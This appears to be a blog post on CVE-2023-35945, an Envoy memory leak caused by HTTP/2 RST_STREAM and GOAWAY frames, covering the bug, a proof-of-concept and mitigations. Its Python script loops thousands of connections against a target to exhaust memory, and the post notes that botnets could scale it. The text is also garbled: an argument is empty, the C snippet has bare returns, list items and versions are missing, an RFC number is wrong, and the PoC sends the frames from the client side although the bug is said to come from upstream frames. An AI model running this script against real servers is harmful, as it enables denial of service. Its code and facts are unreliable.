In June 2023, a critical security flaw—CVE-2023-35945—was reported in Envoy, a popular high-performance cloud-native edge and service proxy, often used in modern Kubernetes and service mesh deployments. This vulnerability arises from a subtle bug in how Envoy (via its use of nghttp2) handles certain HTTP/2 frames, allowing an attacker to gradually exhaust system memory and potentially take down critical infrastructure.

This long-read explains the vulnerability in simple terms, looks at the underlying code, provides an example of the attack in action, and links to key references for further learning. All content and analysis is exclusive for this post.

What is CVE-2023-35945?

Envoy supports the HTTP/2 protocol for efficient, multiplexed communication between microservices. It commonly sits between clients and backend servers, managing and routing requests transparently. Under the hood, Envoy relies on the nghttp2 library for HTTP/2 communication.

The Vulnerability at a Glance

When Envoy receives a RST_STREAM frame immediately followed by a GOAWAY frame from an upstream server, a bug in cleanup logic causes it to leak memory—specifically, header maps and bookkeeping structures associated with the HTTP/2 streams. Over time, if an attacker can cause many such events, Envoy will continuously leak small amounts of memory. Eventually, the server can be rendered inoperable due to memory exhaustion—a classic denial-of-service (DoS) scenario.

Understanding the flaw requires a basic grasp of HTTP/2 frames

- RST_STREAM: Abruptly closes a specific HTTP/2 stream.
- GOAWAY: Tells the peer that no more streams will be accepted and the connection is shutting down.

When Envoy receives GOAWAY, it should clean up all unfinished HTTP/2 streams and free up the memory related to each request. However, due to a misplaced return statement in nghttp2’s code handling, the clean-up code is skipped if the connection is already marked as not accepting new streams.

Simplified Code Walkthrough

Here’s a simplified (but representative) code snippet based on descriptions from nghttp2's code:

// Hypothetical handle for GOAWAY frame in nghttp2
int nghttp2_session_on_GOAWAY(nghttp2_session *session) {
    if (session->no_more_requests) {           // connection already marked
        return ;                              // <-- EARLY RETURN!
    }
    // ... clean up pending requests
    for (auto stream : session->pending_requests) {
        free(stream->header_map);              // free header map
        free(stream->bookkeeping_struct);      // free bookkeeping
    }
    return ;
}

If session->no_more_requests is set (which happens if a previous frame told Envoy to stop accepting new streams), the function returns early. Any pending requests' memory are NOT freed. This is the core of the leak.

How Can Attackers Exploit This?

An attacker who can trigger, or force, upstream services or proxies to send a sequence of RST_STREAM immediately followed by a GOAWAY can:

1. Initiate multiple HTTP/2 streams through Envoy.

Repeat until system memory is exhausted.

### Example: Python HTTP/2 Exploit

Below is a conceptual proof-of-concept using the hyper-h2 library to send the attack sequence. This is for educational purposes, and should only be run in test environments!

import h2.connection
import socket

def send_rst_then_goaway(host, port):
    conn = h2.connection.H2Connection()
    sock = socket.create_connection((host, port))
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())
    
    # Open a single stream
    stream_id = conn.get_next_available_stream_id()
    headers = [(':method', 'GET'), (':path', '/'), (':scheme', 'https'), (':authority', host)]
    conn.send_headers(stream_id, headers)
    sock.sendall(conn.data_to_send())
    
    # Send RST_STREAM for this stream
    conn.reset_stream(stream_id)
    sock.sendall(conn.data_to_send())
    
    # Immediately send GOAWAY
    last_stream_id = stream_id
    conn.close_connection(error_code=, last_stream_id=last_stream_id)
    sock.sendall(conn.data_to_send())
    
    sock.close()

# Use in a loop for demonstration
for i in range(10000):  # Adjust as necessary
    send_rst_then_goaway('envoy.example.com', 443)

Note: In real attacks, a distributed system or botnet might be used, and tuning may be required depending on Envoy and network configuration.

Unusually high memory usage in Envoy processes.

- Unexpected numbers of RST_STREAM and GOAWAY frames in HTTP/2 wire traces.

Denial of Service: Run-out of memory, requiring a process, pod, or host restart.

- Multi-Tenant Cloud Services: Potential for one tenant to impact others by exhausting shared services.

1.23.11

If you're running an earlier Envoy version, upgrade immediately.

- Envoy Security Release Announcement
- nghttp2 Patch PR #1976

Mitigations

- Reverse proxies: Consider terminating HTTP/2 at a less critical or isolated layer.

Monitoring: Set up alerts for sudden memory spikes in your proxies.

- Rate limiting: Throttle new connections and suspicious patterns, though this won't fix the core bug.

References and Further Reading

- Envoy Security Advisory
- nghttp2 Issue Tracker
- nghttp2 Patch PR #1976
- HTTP/2 RFC 754
- hyper-h2 Python Documentation

Conclusion

CVE-2023-35945 is a classic example of how small bugs, especially in critical cleanup code or error paths, can have outsized consequences in heavily used cloud-native infrastructure. Attackers don’t need intricate exploits—just well-timed HTTP/2 frames—to take down production proxies. If you run Envoy anywhere in your stack, make sure to patch now, and keep monitoring for similar flaws in your supply chain!

Timeline

Published on: 07/13/2023 21:15:00 UTC
Last modified on: 07/25/2023 18:36:00 UTC